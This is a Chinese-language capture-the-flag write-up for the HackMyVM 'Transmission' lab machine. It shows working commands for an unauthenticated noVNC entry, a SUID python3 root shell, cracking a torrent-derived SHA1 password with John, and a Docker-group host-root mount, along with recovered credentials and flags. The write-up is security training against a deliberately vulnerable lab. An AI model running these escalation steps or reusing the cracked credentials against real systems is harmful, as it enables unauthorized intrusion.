HackMyVM Transmission 通关记录|noVNC 未授权访问、Brainfuck 取密与 Docker 组提权
这台靶机的主线并不在 Web 表单本身,而在 8080 暴露出来的 noVNC。拿到一个无认证 VNC 会话后,可以先在容器内提到 root,再从 /secret 恢复 NexusPHP 站点凭据,接着利用种子元数据里的 pieces 哈希推出 pass.txt 内容,最终登录宿主机 lilix。宿主机提权点则是 Alpine 的 abuild-sudo 生态链,给当前用户补上 docker 组后,就能直接挂载宿主机根目录读取 root flag。
靶机链接:Transmission
靶机环境提示: 这台靶机存在 NexusPHP 用户过期或账号不可用的环境 bug。如果是按本文复现实验,建议先使用 nexusphp_db_admin.py 做靶机环境修复。脚本默认使用本文恢复出的
lilix/bladerunnerSSH 凭据,通过 Docker 访问 NexusPHP MySQL,调整account.deletenotransfer并解锁lilix用户;这是环境修复步骤,不属于漏洞利用主链。
0x01 基本信息
| 名称 | IP | 说明 |
|---|---|---|
| Kali Linux | 192.168.1.113 | 攻击机 |
| Transmission | 192.168.1.107 | 靶机 |
Web 补充标识:
- Web 站点标题:
The Secret Garden - 站点框架:
NexusPHP
攻击流程
点击展开
攻击链摘要
| 阶段 | 关键证据 / 操作 | 作用 |
|---|---|---|
| 服务发现 | 22/tcp SSH、80/tcp NexusPHP、8080/tcp noVNC | 确定 noVNC 与 Web 为主攻击面 |
| VNC 验证 | RFB 003.008、安全类型 None | 确认 noVNC 可无密码接入 |
| 容器内提权 | VNC 终端中的 SUID python3 | 获得容器内 root |
| 线索恢复 | 运行 vnc_shell.py 导出 /secret,再读取 http://192.168.1.107:8080/secret | 恢复站点凭据 lilix:32691...423c |
| 二次取密 | 查资料或 Fuzz 定位 details.php?id=,枚举到 id=4/5 后下载 pass.txt.torrent | 推出明文密码 bladerunner |
| 初始访问 | ssh lilix@192.168.1.107 | 获得宿主机用户态权限 |
| 用户 flag | cat /home/lilix/user.flag | 不依赖 root 提权即可读取 |
| Root 提权 | abuild-addgroup + Docker 挂载宿主机 / | 读取 /root/R007.F1A9 |
0x02 侦察与信息收集
1. RustScan 联动 Nmap
先用 RustScan 做快速端口发现,再用 Nmap 识别服务:
rustscan -a 192.168.1.107 -p 1-65535 --ulimit 5000 -- -sV -sC
这里 -p 1-65535 明确 RustScan 的扫描范围;-- 后面的参数会交给 Nmap,RustScan 会把发现的开放端口自动传给 Nmap。
服务结果摘要:
22/tcp open ssh OpenSSH 9.9 (protocol 2.0)
80/tcp open http OpenResty web app server 1.27.1.2
8080/tcp open tcpwrapped WebSockify Python/3.11.2 (noVNC)
按攻击优先级看,这台靶机最值得先打的是 8080:noVNC/WebSockify 暴露通常意味着图形会话被错误开放,一旦能进桌面,利用链往往比慢慢找 Web 表单漏洞更短。
2. 80 端口 Web 指纹
先看首页响应头:
curl -I http://192.168.1.107/
关键返回:
HTTP/1.1 302 Found
Server: openresty/1.27.1.2
Location: http://192.168.1.107/login.php
再结合页面源码可以确认:
- 标题为
The Secret Garden :: Login - Powered by NexusPHP - 站点生成器为
NexusPHP - 默认入口为
login.php
这一步的意义不是直接打 Web 漏洞,而是确认后续从容器里拿到的线索最终会落回到一个有账号体系的站点上。
3. 8080 端口 noVNC 验证
Nmap 对 8080 的识别结果已经很有代表性:
8080/tcp open tcpwrapped
|_http-title: noVNC
|_http-server-header: WebSockify Python/3.11.2
继续验证底层是否真的是 RFB:
python3 -c "import websocket; ws=websocket.create_connection('ws://192.168.1.107:8080/websockify', timeout=5, subprotocols=['binary']); print(repr(ws.recv())); ws.close()"
返回:
b'RFB 003.008\n'
这说明 8080/websockify 不是假页面,而是一个真正的 VNC over WebSocket 入口。接下来只要继续做 RFB 握手,就能判断是否需要认证。
4. 确认 VNC 为无认证模式
用最小 RFB 客户端继续协商,返回的关键字段是:
RFB protocol=RFB 003.008 security_types=[1]
这里的 1 就是 None,表示 VNC 不需要密码。到这一步,其实已经可以把整条链收敛成:
- 进入桌面
- 找终端
- 在桌面环境里做本地提权和取证
0x03 noVNC 利用与凭据恢复
1. 进入桌面并在容器内提权
拿到图形桌面后,第一件事就是打开终端。终端里存在一个非常直接的提权点:/usr/bin/python3 带 SUID 位。
执行:
/usr/bin/python3 -c 'import os; os.setgid(0); os.setuid(0); os.system("/bin/bash -p")'
id
返回:
uid=0(root) gid=0(root) groups=0(root),1000(user)
这说明我们此时已经拿到的是 VNC 所在环境中的 root。这一步很关键,但也要保持边界感:它更像是“容器 root”或“桌面环境 root”,还不是宿主机 root,后续仍要从这里继续找宿主机落地点。
2. 运行 vnc_shell.py 导出 /secret
拿到容器内 root 后,不需要继续依赖 VNC 剪贴板回显长文本,可以直接使用附件里的 vnc_shell.py 把 /secret 复制到 noVNC 的静态目录 /opt/novnc/。脚本的关键动作是:
python3 vnc_shell.py
脚本在远端桌面里最终执行的是:
/usr/bin/python3 -c 'import os; os.setuid(0); os.system("id; cp /secret /opt/novnc/")'
复制完成后,直接从本地读取 noVNC 暴露出来的静态文件:
curl -s http://192.168.1.107:8080/secret -o secret
这样就把原本只对容器内 root 可读的 /secret 转成了一个可以在 Kali 上直接分析的本地文件。继续做快速探测:
d=open("secret","rb").read()
print(len(d))
print(d[:64])
print(sum(1 for b in d if 32 <= b < 127 or b in (9, 10, 13)), len(d))
输出表现为:
5972
b'++++ +++[- >++++ ++++< ]>+.< +++++ [->++ +++<] >++++ ++++. <+++'
5972 5972
整份文件基本都是可打印 ASCII,且开头已经很像 Brainfuck 源码,不像加密文件。
3. Brainfuck 解码恢复 NexusPHP 账号
把刚刚通过 http://192.168.1.107:8080/secret 取回来的 secret 当成 Brainfuck 程序解释执行,最终输出中最有价值的部分是:
lilix:32691ca63c0677d0394b7e746569423c
也就是说,/secret 实际上藏的是一组站点凭据:
Username: lilix
Password: 32691ca63c0677d0394b7e746569423c
这串值看起来像 MD5,但在这里并不是“待破解哈希”,而是直接被当作 NexusPHP 的登录密码使用。这个判断非常重要:如果把它误当成口令哈希,后面会白白浪费很多时间。
4. 登录 NexusPHP 并下载种子元数据
用上一步拿到的账号密码登录 http://192.168.1.107 后,还需要先找到 NexusPHP 的种子详情入口。这里不能直接跳到下载结论,复现时通常有两种方式:
- 查 NexusPHP 常见路由,确认种子详情页一般是
details.php?id=<数字>。 - 在已登录状态下 Fuzz PHP 路径,发现
details.php后再对id做小范围枚举。
枚举中真正有价值的是 id=4 和 id=5:
| 详情页 | 名称 | 文件 | 大小 | 说明 |
|---|---|---|---|---|
http://192.168.1.107/details.php?id=4 | Lilix's Private Key | id_rsa.torrent | 1834 bytes | 私钥种子元数据 |
http://192.168.1.107/details.php?id=5 | Lilix's Password | pass.txt.torrent | 11 bytes | 密码文本种子元数据 |
其中真正值得优先看的其实是 pass.txt.torrent,因为它的名字已经说明对应内容是一个口令文件。
5. 从 pass.txt.torrent 提取 SHA1
.torrent 文件本质上是 bencode 元数据。由于 pass.txt 只有 11 字节,小于默认的 piece length 16384,因此整个文件只会占用 一个 piece。这意味着:
info.pieces的 20 字节内容- 就是
pass.txt原文的 SHA1
不依赖额外库,直接从 bencode 里取这 20 字节:
python3 - <<'PY'
d = open('[Nexus].pass.txt.torrent', 'rb').read()
needle = b'6:pieces20:'
i = d.index(needle) + len(needle)
print(d[i:i+20].hex())
PY
输出:
4c9da4b8a8c1500a15bcfa28df86828a4f9ff440
这一步是整条凭据链最漂亮的地方之一:不需要拿到真正的 pass.txt,只靠 torrent 元数据就足够恢复其哈希。
6. John 爆破 SHA1,恢复 SSH 密码
把上一步的 SHA1 交给 John:
echo "raw:4c9da4b8a8c1500a15bcfa28df86828a4f9ff440" > hash.txt
zcat /usr/share/wordlists/rockyou.txt.gz | dos2unix -f > /tmp/rockyou_clean.txt
john --format=raw-sha1 --wordlist=/tmp/rockyou_clean.txt hash.txt
john --show --format=raw-sha1 hash.txt
结果:
raw:bladerunner
验证也非常直接:
>>> import hashlib
>>> hashlib.sha1(b"bladerunner").hexdigest()
'4c9da4b8a8c1500a15bcfa28df86828a4f9ff440'
>>> len("bladerunner")
11
于是完整的凭据恢复链就是:
/secret (Brainfuck)
↓
lilix:32691ca63c0677d0394b7e746569423c
↓
登录 NexusPHP
↓
查资料或 Fuzz 发现 details.php?id=
↓
枚举 id=4/5 下载 torrent 元数据
↓
提取 pieces[0] = SHA1(pass.txt)
↓
john 爆破
↓
bladerunner
0x04 SSH 落地与 Docker 提权
1. SSH 登录 lilix
现在可以用恢复出的密码直接 SSH:
ssh lilix@192.168.1.107
口令:
bladerunner
登录后身份如下:
uid=1000(lilix) gid=1000(lilix) groups=300(abuild),1000(lilix)
宿主机系统为 Alpine Linux,这一点和后面的 abuild-sudo 提权链是直接关联的。
2. 读取 user flag
这台机的 user flag 不依赖 root 提权。拿到 SSH 后可以直接读取:
cat /home/lilix/user.flag
结果:
flag{93b1224cd1be328c27fbd951cb4cc903}
这一步是 SSH 初始访问后的直接成果,不依赖后续 Docker 提权。
3. 枚举 abuild-sudo
继续看提权面:
ls -l /usr/bin/abuild-*
关键结果:
lrwxrwxrwx 1 root root 11 ... /usr/bin/abuild-addgroup -> abuild-sudo
lrwxrwxrwx 1 root root 11 ... /usr/bin/abuild-adduser -> abuild-sudo
lrwxrwxrwx 1 root root 11 ... /usr/bin/abuild-apk -> abuild-sudo
-r-sr-xr-x 1 root root ... /usr/bin/abuild-sudo
这几条软链接意味着当前用户虽然不是 root,但可以借 abuild-sudo 以 root 身份执行特定 Alpine 维护动作,其中最有价值的就是 abuild-addgroup。
4. 把 lilix 加入 docker 组
执行:
abuild-addgroup lilix docker
重新登录后再看:
id
结果:
uid=1000(lilix) gid=1000(lilix) groups=102(docker),300(abuild),1000(lilix)
到了这一步,提权其实已经基本结束了。因为一旦能访问 Docker socket,就等于可以让 root 帮你挂载宿主机任意路径。
5. Docker 挂载宿主机根目录并读取 root flag
直接挂根目录:
docker run --rm -v /:/host alpine:latest cat /host/root/R007.F1A9
输出:
flag{146be38677f379dabf37c7c4ccc386cd}
这里的 R007.F1A9 很像 leetspeak 风格的 ROOT.FLAG。从攻击视角看,这一步的本质不是“运行了一个容器”,而是“利用 Docker 的 root 权限把宿主机根文件系统映射到了当前会话里”。
0x05 最终成果与复盘
User Flag
- 路径:
/home/lilix/user.flag - 内容:
flag{93b1224cd1be328c27fbd951cb4cc903}
Root Flag
- 路径:
/root/R007.F1A9 - 内容:
flag{146be38677f379dabf37c7c4ccc386cd}
最终攻击链
1. 端口侦察:22 / 80 / 8080
2. 识别 8080 为 noVNC / WebSockify
3. RFB 握手确认 VNC 无认证
4. 进入桌面终端,利用 SUID python3 拿容器 root
5. 运行 vnc_shell.py,把 /secret 导出到 noVNC 静态目录
6. 读取 http://192.168.1.107:8080/secret 并解码 Brainfuck
7. 恢复 NexusPHP 凭据 lilix:32691ca63c0677d0394b7e746569423c
8. 登录站点,查资料或 Fuzz 定位 details.php,再枚举 id=4/5 下载 torrent 元数据
9. 从 torrent 元数据恢复 pass.txt 的 SHA1
10. John 爆破得到 SSH 密码 bladerunner
11. SSH 登录 lilix
12. 直接读取 user flag
13. 利用 abuild-addgroup 把 lilix 加入 docker 组
14. Docker 挂载宿主机根目录
15. 读取 root flag
关键发现
| # | Finding | Detail |
|---|---|---|
| 1 | noVNC 未授权暴露 | ws://192.168.1.107:8080/websockify,安全类型为 None |
| 2 | 容器内存在 SUID python3 | 可直接拿到 VNC 环境中的 root |
| 3 | /secret 可经 noVNC 静态目录导出 | 运行 vnc_shell.py 后可直接读取 http://192.168.1.107:8080/secret |
| 4 | torrent 元数据可反推文件哈希 | pass.txt.torrent 的 pieces 直接泄露 pass.txt 的 SHA1 |
| 5 | abuild-sudo 可改组 | 允许把普通用户加入 docker 组 |
| 6 | Docker 组等价于高权限 | 可通过挂载宿主机 / 直接读取 root flag |
这台靶机的设计很完整,链路也很连贯:8080 暴露给出第一落点,/secret 负责把攻击面从容器转回 Web 站点,NexusPHP 的私有种子元数据又进一步把线索收敛到宿主机 SSH 密码,最后再用 Alpine 特有的 abuild-sudo 走到 Docker 组提权。整条链里最值得记住的两个点,一个是 noVNC/WebSockify 的无认证暴露,另一个是 小文件 torrent 的 pieces 字段实际上就是文件内容哈希本身。
附件下载
为了方便复现,本文涉及的辅助脚本已整理到站点静态目录:
| 文件 | 说明 |
|---|---|
| vnc_shell.py | 通过 noVNC / WebSockify 进入桌面,打开终端,触发容器内 SUID python3,并把 /secret 复制到 noVNC 静态目录 |
| nexusphp_db_admin.py | 推荐用于修复 NexusPHP 用户过期或账号不可用的靶机环境 bug;脚本通过 SSH 和 Docker 访问 NexusPHP MySQL,调整 account.deletenotransfer 并解锁 lilix 用户 |